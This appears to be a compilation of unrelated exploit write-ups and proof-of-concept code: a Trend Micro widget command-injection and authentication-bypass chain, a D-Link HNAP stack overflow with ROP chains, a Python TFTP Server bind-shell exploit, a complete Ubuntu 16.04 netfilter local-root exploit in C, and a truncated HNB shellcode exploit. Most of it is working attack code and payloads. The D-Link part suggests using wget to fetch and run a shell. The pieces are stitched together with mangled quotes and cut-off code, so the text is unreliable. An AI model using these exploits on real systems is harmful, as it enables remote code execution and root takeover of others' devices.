One ring rule- RCE on multiple Trend Micro products

Framework’s security has been a known topic for security folks. In fact, we already seen a real impact of single vulnerability within a framework on Apache Struts case. If we consider this risk from the point of products vendor, we could see very similar case. In this article, I will show you how we get RCE on different Trend Micro products because of same codebase used by across the different products.

One ring bug to rule them all – Widgets of Trend Micro’s Products

Most of the Trend Micro’s products have a widgets for administrator web page. Although core system written with Java/.NET, this widget mechanism had implemented with PHP. That means, they somehow need to put PHP interpreter on product whenever they decided to use widgets. Which makes it a perfect spot to what we need: a single code base, exist across the different product and awesome way to implement reliable exploit once we have an vulnerability.

For the reasons that I’ve mentioned above, Mehmet Ince performed a code audit for widget system of Trend Micro OfficeScan product. Result is quite interesting as well as unfortunate for him. He found 6 different vulnerability but only 2 of them is 0day.

Before diving into the vulnerabilities, I want to share details about how that widget library is working.

Start From Beginning

This widget framework have a proxy mechanism. In short, we have proxy_controller.phpendpoint which take user supplied parameters and then call relevant classes based on inputs.

There is two type of major widget type. User generated and defaults widgets.  Following source code taken from proxy_controller.php  file.

    $g_GetPost = array_merge($_GET,$_POST);
    $g_GetPost = array_merge($g_GetPost,$_GET,$_POST);

// ... CODE OMIT ...

$server_module = $g_GetPost['module'];

$isDirectoryTraversal = WF::getSecurityFactory()->getSanitize()->isDirectoryTraversal($server_module);
if(true === $isDirectoryTraversal){
    mydebug_log("Bad guy come in!!");

$intUserGeneratedInfoOfWidget = (array_key_exists('userGenerated', $g_GetPost)) ? $g_GetPost['userGenerated'] : 0;
if($intUserGeneratedInfoOfWidget == 1){
    $strProxyDir = PROXY_DIR;

$myproxy_file = $strProxyDir . "/" . $server_module . "/Proxy.php";
//null byte injection prevents
if( is_string( $myproxy_file ) ) {
    $myproxy_file = str_replace( "\0", '', $myproxy_file );
// does file exist?
    include ($myproxy_file);

// does class exist?
if(! class_exists("WFProxy")){

// ... CODE OMIT ...

$request = new WFProxy($g_GetPost, $wfconf_dbconfig);



The above code block performs the following operations respectively.

  1. Merge GET and POST parameters and then store them at $g_GetPost variable.
  2. Validate $g_GetPost[‘module’] variable.
  3. And then decide the requested widget is user generated or not by looking at $g_GetPost[‘userGenerated’] parameter.
  4. Include the required php class.
  5. As a final step, create a WFProxy instance and then call proxy_exec() and proxy_output() methods.

Basically, we have multiple WFProxy implementation. Which one of these implementation is going to be initiated decided by values taken from client.

Now we are free to dive into technical details of my findings, since we all have how parameter are being passed through different classes.

Vulnerability #1 – Authenticated Command Injection

Following code snipped taken from WFProxy implementation of modTMCSS.

      public function proxy_exec() 
  // localhost, directly launch report.php
  if ($this->cgiArgs['serverid'] == '1')
          if($this->cgiArgs['type'] == "WR"){
              $cmd = "php ../php/lwcs_report.php ";
              $this->AddParam($cmd, "t");
              $this->AddParam($cmd, "tr");
              $this->AddParam($cmd, "ds");
              $this->AddParam($cmd, "m");
              $this->AddParam($cmd, "C");
              exec($cmd, $this->m_output, $error);
              if ($error != 0)
                  $this->errCode = WF_PROXY_ERR_EXEC_OTHERS;
                  $this->errMessage = "exec lwcs_report.php failed. err = $error";
              $cmd = "php ../php/report.php ";
              $this->AddParam($cmd, "T");
              $this->AddParam($cmd, "D");
              $this->AddParam($cmd, "IP");
              $this->AddParam($cmd, "M");
              $this->AddParam($cmd, "TOP");
              $this->AddParam($cmd, "C");
              $this->AddParam($cmd, "CONSOLE_LANG");
              exec($cmd, $this->m_output, $error);
              if ($error != 0)
                  $this->errCode = WF_PROXY_ERR_EXEC_OTHERS;
                  $this->errMessage = "exec report.php failed. err = $error";

private function AddParam(&$cmd, $param)
  if (isset($this->cgiArgs[$param]))
    $cmd = $cmd.$param."=".$this->cgiArgs[$param]." ";

Obviously, we have potential command injection in here. But we need to answer one question. Can we control $this>cgiArgs array ? Answer is yes. If you go back to the first code blob that I’ve shared before, you will see  $request = new WFProxy($g_GetPost, $wfconf_dbconfig); and $g_GetPost is what we completely can control.

Every single WFProxy class is extending ABaseProxy abstract class.  Here is the first two line of __construct method of base class.

public function __construct($args, $dbconfig){
        $this->cgiArgs = $args;

That means, yes $this>cgiArgs is directly populated from GET and POST parameters.


POST /officescan/console/html/widget/proxy_controller.php HTTP/1.1 Host: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Cookie: LANG=en_US; LogonUser=root; wf_CSRF_token=fb5b76f53eb8ea670c3f2d4906ff1098; PHPSESSID=edir98ccf773n7331cd3jvtor5; X-CSRFToken: fb5b76f53eb8ea670c3f2d4906ff1098 ctype: application/x-www-form-urlencoded; charset=utf-8 Content-Type: application/x-www-form-urlencoded Content-Length: 6102


Important note: When exec() function is being used with second and third function parameters, you just need to successfully execute first command if you want to use pipe trick.  Our command is going to look like php ../php/lwcs_report.php TOP=2>&1|ping .  Using 2>&1 is the way to fool exec() function because we don’t even have lwsc_report.php script within product 🙇. First part of command returns command not found error all the time.

This vulnerability has been discovered by Steven Seeley from Source Incite. Also patch released by vendor several weeks ago ( According to the advisory, authentication is required to exploit this vulnerability.

Vulnerability #2 #3 #4 – Leaking Private Key & Publicly Accessible Sqlite3 & SSRF

Those vulnerabilities are being also found by another researchers (John Page aka hyp3rlinx). These vulnerabilities are not related with this article’s main focus. Thus I’m just leaving his exploit-db profile link so curious reader may want to read technical details as well. (

Vulnerability #5 – Serve-Side Request Forgery (0day)

Do you remember that I’ve mentioned two type of widget (user generated and system) before ? Trend Micro has one defualt user generated widget implementation within code base. It’s name is modSimple. I believe they left it in project in order to show a way to get started for custom widget implementation.

Here is the proxy_exec() function implementation of this widget.

public function proxy_exec() {
  if( $this->httpObj->Send() == FALSE ) {
    //Handle Timeout issue here
      $this->errCode = WF_PROXY_ERR_EXEC_TIMEOUT;
      $this->errCode = WF_PROXY_ERR_EXEC_CONNECT;
    $this->errMessage = $this->httpObj->getErrMessage();

It use url parameter directly without validation. As you remember $this>cgiArgs[‘url’] is user controlled variable.


POST /officescan/console/html/widget/proxy_controller.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Request: JSON
X-CSRFToken: o6qjdkto700a43nfslqpjl0rm5
Content-type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 192
Cookie: JSESSIONID=C2DC56BE1093D0232440A1E469D862D3; CurrentLocale=en-US; PHPSESSID=o6qjdkto700a43nfslqpjl0rm5; un=7164ceee6266e893181da6c33936e4a4; userID=1; LANG=en; wids=modImsvaSystemUseageWidget%2CmodImsvaMailsQueueWidget%2CmodImsvaQuarantineWidget%2CmodImsvaArchiveWidget%2C; lastID=4; cname=dashBoard; theme=default; lastTab=3; trialGroups=newmenu%0D%0AX-Footle:%20bootle
Connection: close


Vulnerability #6 – Authentication bypass (0day)

I mentioned that core system is written with Java/.NET but this widget system is implemented with PHP. So the biggest question is:

How do they know user is authenticated when the request come to the widget ?

The easiest way to answer that question is trace the Burp logs from login to the view dashboard where they are using widgets. Following HTTP POST request got my attention particularly.

POST /officescan/console/html/widget/ui/modLogin/talker.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: session_expired=no; LANG=en_US; LogonUser=root; wf_CSRF_token=c7ce6cd2ab50bd787bb3a1df0ae58810
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 59
X-CSRFToken: c7ce6cd2ab50bd787bb3a1df0ae58810
Content-Type: application/x-www-form-urlencoded


Here is the code snipped taken from that file.


// ... CODE OMIT ...

if( $_REQUEST['act'] == "check" ) {
    if( (!isset($_REQUEST['hash']) || $_REQUEST['hash'] == "") ) {
      make_error_response( LOGIN_ERRCODE_LACKINPUT, LOGIN_ERRCODE_LACKINPUT_MSG."(email)");

    // check user state
    $recovered = false;
    if( STANDALONE_WF ) {
      mydebug_log("[LOGIN][check] recover session STANDALONE");
      $recovered = $wfuser->standalone_user_init();
    } else {
      mydebug_log("[LOGIN][check] recover session PRODUCT");
      $recovered = $wfuser->product_user_init();
    if( $recovered == false ) {
      mydebug_log("[LOGIN][check] recover session failed");
    mydebug_log("[LOGIN][check] recover session ok");
     * return the widgets of only first tab
    $ckresult = $wfuser->check_result($_REQUEST['pid'],$_REQUEST['cid']);
    if( $ckresult == false ) {
    } else {
      mydebug_log("[LOGIN][check] check result: ".$ckresult);
      make_successful_response( LOGIN_OK_SUCCESS_MSG, $ckresult);

First of all, we have CSRF validation check in here. But the important things are happening between lines 17-23. $wfuser>standalone_user_init() and $wfuser>product_user_init()are responsible for authenticate user with widget framework. I’m gonna start with first call.

We have 4 internal function call sequence in here.

public function standalone_user_init(){
    mydebug_log("[WFUSER] standalone_user_init()");
        return $this->recover_session_byuid($_COOKIE['userID']);
    mydebug_log("[WFUSER] standalone_user_init(): cookie userID isn't set");
    return false;

public function recover_session_byuid($uid){
    mydebug_log("[WFUSER] recover_session_byuid() " . $uid);
    if(false == $this->loaduser_byuid($uid)){
        mydebug_log("[WFUSER] recover_session_byuid() failed");
        return false;
    return $this->recover_session();

public function loaduser_byuid($uid){
    mydebug_log("[WFUSER] loaduser_byuid() " . $uid);
    // load user
    $uinfolist = $this->userdb->get_users($uid);
        return false;
    // no exists
    if(! isset($uinfolist[0])){
        return false;
    // get userinfo
    $this->userinfo = $uinfolist[0];
    return true;

public function get_users($uid = null){
    // specify uid
    $work_uid = $this->valid_uid($uid);
    if($work_uid == null){
    // query string
    $sqlstring = 'SELECT * from ' . $this->users_table . ' WHERE id = :uid';
    $sqlvalues[':uid'] = $work_uid;
    return $this->runSQL($sqlstring, $sqlvalues, "Get " . $this->users_table . " failed", 1);

The above code block performs the following operations respectively.

  1. Get value from cookie.
  2. Call loaduser_byuid() and pass value to this function.
  3. Call get_users() function with given value. If this function return true, it will return true which will help previous function to continue and call recover_session() function.
  4. get_users() function is executing sql query with only given id.

$wfuser>product_user_init() function sequence is almost same. Only difference between $wfuser>standalone_user_init() and $wfuser>product_user_init() is first one is using user_id second one is using username.

I don’t see authentication in here. hash parameter didn’t even being used. So calling this endpoint with same variable will complete authentication from bottom to top.

One bug to bring them all and in the darkness bind them (Metasploit Module)

Now we have two vulnerability. First one is the command injection which is recently patched, second one is authentication bypass for only widget system which is 0day. Combination of these vulnerabilities gives us an opportunity to execute operating system command without having any credentials.

Here is the metasploit module.(

Same code/vulnerability: Trend Micro InterScan Messaging Security Unauth RCE

One of the difference between InterScan Messaging Security and OfficeScan in terms of this widget framework is the path..!

OfficeScan widget framework path:

IMSVA widget framework path:

Another major difference is about widget authentication. IMSVA have little bit more different approach for talker.php. Here is the difference.

    echo $loginscript;

$wfsession_check = new WFHttpTalk();
    mydebug_log("[product_auth] JSEEEIONID:".$_COOKIE["JSESSIONID"]);
$replycode = $wfsession_check->getCode();
mydebug_log("[product_auth]reply code-->".$replycode);
$replybody = $wfsession_check->getBody();
mydebug_log("[product_auth]reply body-->".$replybody);

if($replycode != 200)
mydebug_log("[product_auth] replycode != 200");
echo $loginscript;

It takes JSESSIONID value from user and use it send HTTP request to the WFSessionCheck.imss where they validate user authentication with core Java application. This may looks like preventing our authentication bypass vulnerability but actually it’s not. Look closer to the above code. You must see a mydebug_log() function call with JSESSIONID if it’s exist in the request.

This log file is publicly accessible through web server.

So we just need to add one extra step to our OfficeScan exploitation. We need to read content of this log file in order to extract a valid JSESSIONID value and then use it for authentication bypass.

Here is the metasploit module demo. (


First of all, I would like to say again, this command injection vulnerability has been patched by Trend Micro for both of these products.  If you are a Trend Micro user or your organisation is using any of these products, asap! Patch your system.

Having same code base on different products is not something bad. I just wanted to point out that one bug within your framework can cause a massive trouble.

Main Credit goes to 

MEHMET INCESteven Seeley, John Page aka hyp3rlinx.



Multiple vulnerabilities in Dlink DIR routers HNAP Login function (multiple routers affected):

Background on the affected products:

“Smartphones, laptops, tablets, phones, Smart TVs, game consoles and more – all being connected at the same time. That’s why we created the new AC3200 Ultra Wi-Fi Router. With Tri-Band Technology and speeds up to 3.2Gbps, it delivers the necessary ultra-performance to power even the most demanding connected homes, making it the best wireless home router for gaming.”


Dlink routers expose a protocol called HNAP (Home Network Administration Protocol) on the LAN interface. This is a SOAP protocol that allows identification, configuration, and management of network devices. It seems Dlink uses an implementation of this protocol to communicate with the router’s web interface over the LAN. For more information regarding HNAP, see [1] and [2].

Dlink has a long history of vulnerabilities in HNAP. Craig Heffner in particular seems to have found a lot of them (see [3], [4], [5], [6], [7], [8]).

This new vulnerability occurs in the processing of XML tags inside SOAP messages when performing the HNAP Login action. The affected function contains two subsequent stack overflows, which can be exploited by an unauthenticated attacker on the LAN. It affects a number of Dlink routers which span the ARM and MIPS architectures. A Metasploit module that exploits this vulnerability for both architectures has been released [9].

A special thanks to CERT/CC and Trent Novelly for help with disclosing this vulnerability to the vendor. Please refer to CERT’s advisory for more details [10].

Technical details:

Vulnerability: Stack buffer overflow
Attack Vector: Remote
Constraints: Can be exploited by an unauthenticated attacker. See below for other constraints.
Affected versions:
The following MIPS devices have been confirmed to be vulnerable:

The following ARM devices have been confirmed to be vulnerable:
DIR-868L -> Rev. B and C only

There might be other affected devices which are not listed above.

Vulnerability details and MIPS exploitation

The vulnerable function, parse_xml_value (my name, not a symbol), is called from hnap_main (a symbol in the binary) in /htdocs/cgibin.
This function takes 3 arguments: the first is the request object / string, the second is the XML tag name to be parsed inside the request, and the third is a pointer to where the value of that tag should be returned.

The function tries to find the tag name inside the request object and then extracts the tag value, copying it first to a local variable and then to the third argument. This function is called from hnap_main when performing the HNAP Login action to obtain the values of Action, Username, LoginPassword and Catpcha from the SOAP request shown above.

parse_xml_value(char* request, char* XMLtag, char* tag_value)
.text:00412264 xml_tag_value_start = $s2
.text:00412264 xml_tag_value_end = $s1
.text:00412264 C30 addu xml_tag_value_start, $v0, $s0 # s2 now points to <Action>$value</Action>
.text:00412268 C30 la $t9, strstr
.text:0041226C C30 move $a1, xml_tag_value_end # needle
.text:00412270 C30 jalr $t9 ; strstr
.text:00412274 C30 move $a0, xml_tag_value_start # haystack
.text:00412278 C30 lw $gp, 0xC30+var_C20($sp)
.text:0041227C C30 beqz $v0, loc_4122BC
.text:00412280 C30 subu xml_tag_value_end, $v0, xml_tag_value_start # s1 now holds the ptr to <Action>value$</Action>
.text:00412284 C30 bltz xml_tag_value_end, loc_4122BC
.text:00412288 C30 addiu $s0, $sp, 0xC30+xml_tag_var
.text:0041228C C30 la $t9, strncpy
.text:00412290 C30 move $a2, xml_tag_value_end # n
.text:00412294 C30 move $a1, xml_tag_value_start # src
.text:00412298 C30 addu xml_tag_value_end, $s0, xml_tag_value_end
.text:0041229C C30 jalr $t9 ; strncpy # copies all chars in <Action>$value$</Action> to xml_tag_var using strncpy
.text:004122A0 C30 move $a0, $s0 # dest
.text:004122A4 C30 move $a0, a2_ptr # a2_ptr is a stack variable from hnap_main (passed as third argument to parse_xml_value)
.text:004122A8 C30 lw $gp, 0xC30+var_C20($sp)
.text:004122AC C30 move $a1, $s0 # src
.text:004122B0 C30 la $t9, strcpy # copies xml_tag_var into a2_ptr using strcpy
.text:004122B4 C30 jalr $t9 ; strcpy # the stack of the calling function (hnap_main) is thrashed if 2408+ bytes are sent
.text:004122B8 C30 sb $zero, 0(xml_tag_value_end)

There are two overflows, therefore two choices for exploitation:
1) The local stack (on parse_xml_value) can be overrun with 3096+ bytes. This overflow occurs even though strncpy is used, because the argument to strncpy is simply the strlen of the value inside the XML tag.
2) Alternatively, it’s possible to overrun the stack of the calling function (hnap_main), using only 2408+ bytes – this is because strcpy is used to copy the xml_tag_var onto the third argument received by parse_xml_value, which is a pointer to a stack variable in hnap_main.

Exploiting 1) is easier, and the following example will explain how.

All the affected MIPS devices use the same version of uClibc ( and seem to load it at 0x2aabe000, which makes exploitation trivial for all firmware versions. It should be noted that the MIPS devices use the RTL8881a CPU, which is based on a Lextra RLX5281 core. The Lextra RLX cores are MIPS clones, but they’re bit crippled as they are lacking a few load and store instructions. For this reason, some generic shellcodes that work on MIPS might not work on these CPUs (especially when obfuscated).

The devices also do not have NX, ASLR nor any other modern memory protections, so the shellcode is executed directly on the stack. However, it’s necessary to use ROP to prepare the stack for execution, which can be executed with gadgets taken from
Due to the way MIPS CPUs work, it’s necessary to flush the CPU cache before executing the exploit. This can be forced by calling sleep() from libc (refer to for an explanation on the MIPS CPU caches).

So the ROP chain and shellcode will look like:

first_gadget – execute sleep and call second_gadget
.text:0004EA1C move $t9, $s0 <- sleep()
.text:0004EA20 lw $ra, 0x20+var_4($sp) <- second_gadget
.text:0004EA24 li $a0, 2 <- arg for sleep()
.text:0004EA28 lw $s0, 0x20+var_8($sp)
.text:0004EA2C li $a1, 1
.text:0004EA30 move $a2, $zero
.text:0004EA34 jr $t9
.text:0004EA38 addiu $sp, 0x20

second_gadget – puts stack pointer in a1:
.text:0002468C addiu $s1, $sp, 0x58
.text:00024690 li $s0, 0x44
.text:00024694 move $a2, $s0
.text:00024698 move $a1, $s1
.text:0002469C move $t9, $s4
.text:000246A0 jalr $t9
.text:000246A4 move $a0, $s2

third_gadget – call $a1 (which now has the stack pointer):
.text:00041F3C move $t9, $a1
.text:00041F40 move $a1, $a2
.text:00041F44 addiu $a0, 8
.text:00041F48 jr $t9
.text:00041F4C nop

When the crash occurs, the stack pointer is at xml_tag_value[3128]. In order to have a larger space for the shellcode (3000+ bytes), it’s possible to jump back to xml_tag_value[0].
prep_shellcode_1 = 23bdf3c8 # addi sp,sp,-3128
prep_shellcode_2 = 03a0f809 # jalr sp
branch_delay = 2084f830 # addi a0,a0,-2000 (NOP executed as a MIPS branch delay slot)

The final Action / Username / LoginPassword / Catpcha XML parameter value will be:
shellcode + ‘a’ * (3072 – shellcode.size) + sleep() + ‘1’ * 4 + ‘2’ * 4 + ‘3’ * 4 + third_gadget + first_gadget + ‘b’ * 0x1c + second_gadget + ‘c’ * 0x58 + prep_shellcode_1 + prep_shellcode_2 + branch_delay

‘a’, ‘b’ and ‘c’ are just fillers to make up the buffer, while ‘1111’, ‘2222’ and ‘3333’ will be the values of s1, s2 and s3 registers (which are not interesting for exploitation), and the rest is the ROP chain, shellcode and stack preparation routine. The only bad character that cannot be sent in the payload is the null byte as this is a str(n)cpy overflow. Up to 3350 characters can be sent, as after that it’s hard to control the overflow in a reliable way. Note that all of this is to exploit the first buffer overflow with strncpy, but the second buffer overflow can be exploited in a similar way.

As explained above, due to the use of a crippled MIPS core, generic shellcodes found on the Internet will likely fail. Some very simple ones work, but the best is to craft a reliable one. The simple Metasploit bind shell also seems to work pretty reliably if no encoder is used.

ARM exploitation

The same two stack overflows affect ARM, but require less bytes to overflow the stack. The following snippet is the same part of parse_xml_value as shown for MIPS (taken from firmware 2.03b01 for the DIR-868 Rev. B):
.text:00018F34 C30 LDR R1, [R11,#src] ; src
.text:00018F38 C30 LDR R2, [R11,#n] ; n
.text:00018F3C C30 SUB R3, R11, #-xml_tag_var
.text:00018F40 C30 SUB R3, R3, #4
.text:00018F44 C30 SUB R3, R3, #4
.text:00018F48 C30 MOV R0, R3 ; dest
.text:00018F4C C30 BL strncpy ; first overflow occurs here (xml_tag_var in parse_xml_stack) with 1024+ characters
.text:00018F50 C30 MOV R3, #0xFFFFFBEC
.text:00018F58 C30 LDR R2, [R11,#n]
.text:00018F5C C30 SUB R1, R11, #-var_4
.text:00018F60 C30 ADD R2, R1, R2
.text:00018F64 C30 ADD R3, R2, R3
.text:00018F68 C30 MOV R2, #0
.text:00018F6C C30 STRB R2, [R3]
.text:00018F70 C30 SUB R3, R11, #-xml_tag_var
.text:00018F74 C30 SUB R3, R3, #4
.text:00018F78 C30 SUB R3, R3, #4
.text:00018F7C C30 LDR R0, [R11,#a2_ptr] ; a2_ptr is is a stack variable from hnap_main
.text:00018F80 C30 MOV R1, R3 ; src
.text:00018F84 C30 BL strcpy ; second overflow occurs here

The stack size will be smaller for both parse_xml_value and hnap_main when compared to the MIPS binary. This time again it’s easier to exploit the easier strncpy overflow in parse_xml_value, but only 1024 bytes are enough to overflow the stack. As with the MIPS exploit, the only bad character is the null byte.

The affected ARM devices have a non-executable stack (NX) and 32 bit ASLR. NX can be defeated with ROP, and the 32 bit ASLR is weak – there are only 3 bytes that change in the address calculations, which means there are only 4096 possible values. The attack has to be run several times until the correct base address is hit, but this can usually be achieved in less than 1000 attempts.

The easiest attack to perform is a return-to-libc to execute a command with system(). To do this, R0 must point to the stack location where the command is before system() is called. All the affected ARM devices seem to use the same version of uClibc ( for all firmware versions, which makes gadget hunting much easier and allows building an exploit that works on all the devices without any modification.

first_gadget (pops system() address into r3, and second_gadget into PC):
.text:00018298 LDMFD SP!, {R3,PC}

second_gadget (puts the stack pointer into r0 and calls system() at r3):
.text:00040CB8 MOV R0, SP
.text:00040CBC BLX R3

system() (Executes argument in r0 (our stack pointer)
.text:0005A270 system

The final Action / Username / LoginPassword / Catpcha XML parameter value will be:
‘a’ * 1024 + 0xffffffff + ‘b’ * 16 + ‘AAAA’ + first_gadget + system() + second_gadget + command

a / b = filler
0xffffffff = integer n (see below)
AAAA = R11
first_gadget = initial PC
payload = stack points here after execution of our ROP chain; it should point to whatever we want system() to execute

When the overflow happens, the stack var “n” is overwritten, which is used to calculate a memory address (see 0x18F58). In order not to crash the process before the shellcode is executed, the variable needs to be set to a numeric value that can be used to calculate a valid memory address. A good value to choose is 0xffffffff, as this will just subtract 1 from the calculated memory address and prevent an invalid memory access.

From this point onwards, it’s possible to execute any command in “payload”. For example, wget can be used to download a shell and execute it or a telnet server can be started. All commands will be executed as root.


Dlink did not respond to CERT’s requests for information, so no firmware fix is available at the time of writing.
Given that this vulnerability can only be exploited in the LAN, it is recommended to have a strong wireless password to prevent untrusted clients from connecting to the router.



TFTP Server 1.4 WRQ Buffer Overflow

Vendor Homepage:






import socket
import sys

host = ‘’
port = 69

print “socket() failed”

# msfvenom -p windows/shell_bind_tcp LHOST= -b \x00 EXITFUNC=seh -f c -e x86/alpha_mixed
# Payload size: 718 bytes

shellcode = (

# PPR – 0x0040CC22 – in TFTPServerSP.exe
# 3-byte overwrite

jump_one = “\xEB\xDB\x90\x90” # negative jump back
egghunter = (“\x66\x81\xca\xff\x0f\x42\x52\x6a” #WOOT

filename = “\x90″*734 + “T00WT00W” + shellcode + “\x90″*10 + egghunter + “\x90″*10 + jump_one + “\x22\xCC\x40”

mode = “netascii”

evil = “\x00\x02” + filename + “\x00” + mode + “\x00”

print “[*] Sending evil packet, ph33r”
s.sendto(evil, (host, port))
print “[*] Check port 4444 for bindshell”

Ubuntu 16.04 local root exploit – netfilter target_offset OOB

Ubuntu 16.04 local root exploit – netfilter target_offset OOB

Tested on 4.4.0-21-generic. SMEP/SMAP bypass available in descr_v2.c

ip_tables.ko needs to be loaded (e.g., iptables -L as root triggers automatic loading).

lone@ubuntu:~$ uname -a

Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
lone@ubuntu:~$ gcc decr.c -m32 -O2 -o decr
lone@ubuntu:~$ gcc pwn.c -O2 -o pwn
lone@ubuntu:~$ ./decr netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by Lone Ranger
[!] Decrementing the refcount. This may take a while…
[!] Wait for the “Done” message (even if you’ll get the prompt back).
lone@ubuntu:~$ [+] Done! Now run ./pwn

lone@ubuntu:~$ ./pwn
[+] Escalating privs…
root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root)

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>
#include <linux/sched.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ptrace.h>
#include <netinet/in.h>
#include <net/if.h>
#include <linux/netfilter_ipv4/ip_tables.h>
#include <linux/netlink.h>
#include <fcntl.h>
#include <sys/mman.h>

#define MALLOC_SIZE 66*1024

int check_smaep() {
FILE *proc_cpuinfo;
char fbuf[512];

proc_cpuinfo = fopen(“/proc/cpuinfo”, “r”);

if (proc_cpuinfo < 0) {
return -1;

memset(fbuf, 0, sizeof(fbuf));

while(fgets(fbuf, 512, proc_cpuinfo) != NULL) {
if (strlen(fbuf) == 0)

if (strstr(fbuf, “smap”) || strstr(fbuf, “smep”)) {
return -1;

return 0;

int check_mod() {
FILE *proc_modules;
char fbuf[256];

proc_modules = fopen(“/proc/modules”, “r”);

if (proc_modules < 0) {
return -1;

memset(fbuf, 0, sizeof(fbuf));

while(fgets(fbuf, 256, proc_modules) != NULL) {
if (strlen(fbuf) == 0)

if (!strncmp(“ip_tables”, fbuf, 9)) {
return 0;

return -1;

int decr(void *p) {
int sock, optlen;
int ret;
void *data;
struct ipt_replace *repl;
struct ipt_entry *entry;
struct xt_entry_match *ematch;
struct xt_standard_target *target;
unsigned i;

sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);

if (sock == -1) {
return -1;

data = malloc(MALLOC_SIZE);

if (data == NULL) {
return -1;

memset(data, 0, MALLOC_SIZE);

repl = (struct ipt_replace *) data;
repl->num_entries = 1;
repl->num_counters = 1;
repl->size = sizeof(*repl) + sizeof(*target) + 0xffff;
repl->valid_hooks = 0;

entry = (struct ipt_entry *) (data + sizeof(struct ipt_replace));
entry->target_offset = 74; // overwrite target_offset
entry->next_offset = sizeof(*entry) + sizeof(*ematch) + sizeof(*target);

ematch = (struct xt_entry_match *) (data + sizeof(struct ipt_replace) + sizeof(*entry));

strcpy(ematch->, “icmp”);
void *kmatch = (void*)mmap((void *)0x10000, 0x1000, 7, 0x32, 0, 0);
uint64_t *me = (uint64_t *)(kmatch + 0x58);
*me = 0xffffffff821de10d; // magic number!

uint32_t *match = (uint32_t *)((char *)&ematch->u.kernel.match + 4);
*match = (uint32_t)kmatch;

ematch->u.match_size = (short)0xffff;

target = (struct xt_standard_target *)(data + sizeof(struct ipt_replace) + 0xffff + 0x8);
uint32_t *t = (uint32_t *)target;
*t = (uint32_t)kmatch;

printf(“[!] Decrementing the refcount. This may take a while…\n”);
printf(“[!] Wait for the “Done” message (even if you’ll get the prompt back).\n”);

for (i = 0; i < 0xffffff/2+1; i++) {
ret = setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, (void *) data, 66*1024);

printf(“[+] Done! Now run ./pwn\n”);

return 0;

int main(void) {
void *stack;
int ret;

printf(“netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by Lone Ranger\n”);
if (check_mod()) {
printf(“[-] No ip_tables module found! Quitting…\n”);
return -1;

if (check_smaep()) {
printf(“[-] SMEP/SMAP support dectected! Quitting…\n”);
return -1;

ret = unshare(CLONE_NEWUSER);

if (ret == -1) {
return -1;

stack = (void *) malloc(65536);

if (stack == NULL) {
return -1;

clone(decr, stack + 65536, CLONE_NEWNET, NULL);


return 0;

————————————————— pwn.c —————————————————

* Run ./decr first!
* 02/07/2016
* – Lone Ranger
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <assert.h>

#define MMAP_ADDR 0xff814e3000
#define MMAP_OFFSET 0xb0

typedef int __attribute__((regparm(3))) (*commit_creds_fn)(uint64_t cred);
typedef uint64_t __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(uint64_t cred);

void __attribute__((regparm(3))) privesc() {
commit_creds_fn commit_creds = (void *)0xffffffff810a21c0;
prepare_kernel_cred_fn prepare_kernel_cred = (void *)0xffffffff810a25b0;

int main() {
void *payload = (void*)mmap((void *)MMAP_ADDR, 0x400000, 7, 0x32, 0, 0);
assert(payload == (void *)MMAP_ADDR);

void *shellcode = (void *)(MMAP_ADDR + MMAP_OFFSET);

memset(shellcode, 0, 0x300000);

void *ret = memcpy(shellcode, &privesc, 0x300);
assert(ret == shellcode);

printf(“[+] Escalating privs…\n”);

int fd = open(“/dev/ptmx”, O_RDWR);


printf(“[+] We’ve got root!”);

return execl(“/bin/bash”, “-sh”, NULL);

HNB 1.9.18-10 Buffer Overflow

# Program description:

Hnb is an ncurses program to organize many kinds of data in one place, for example addresses, todo lists, ideas, book reviews or to store snippets of brainstorming.

# Kali Linux 2.0 package:


# Website:

# gdb$ run -rc `python -c ‘print “A”*108’`
# Starting program: /usr/bin/hnb -rc `python -c ‘print “A”*108’`
# *** buffer overflow detected ***: /usr/bin/hnb terminated

# ======= Backtrace: =========

# /lib/i386-linux-gnu/i686/cmov/[0xb7e14773]
# /lib/i386-linux-gnu/i686/cmov/[0xb7ea4b85]
# /lib/i386-linux-gnu/i686/cmov/[0xb7ea2c3a]
# /lib/i386-linux-gnu/i686/cmov/[0xb7ea2127]
# /usr/bin/hnb[0x8049669]
# /lib/i386-linux-gnu/i686/cmov/[0xb7dc1a63]
# /usr/bin/hnb[0x804a2d9]
# ======= Memory map: ========
# 08048000-0806e000 r-xp 00000000 08:01 2253992 /usr/bin/hnb
# 0806e000-0806f000 r–p 00025000 08:01 2253992 /usr/bin/hnb
# 0806f000-08070000 rw-p 00026000 08:01 2253992 /usr/bin/hnb
# 08070000-080b1000 rw-p 00000000 00:00 0 [heap]

import os, subprocess

def run():
print “# HNB Organizer – Local Buffer Overflow by Juan Sacco”
print “# This Exploit has been developed using Exploit Pack”

buffersize = 108
nopsled = “\x90″*40
shellcode =”\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80”
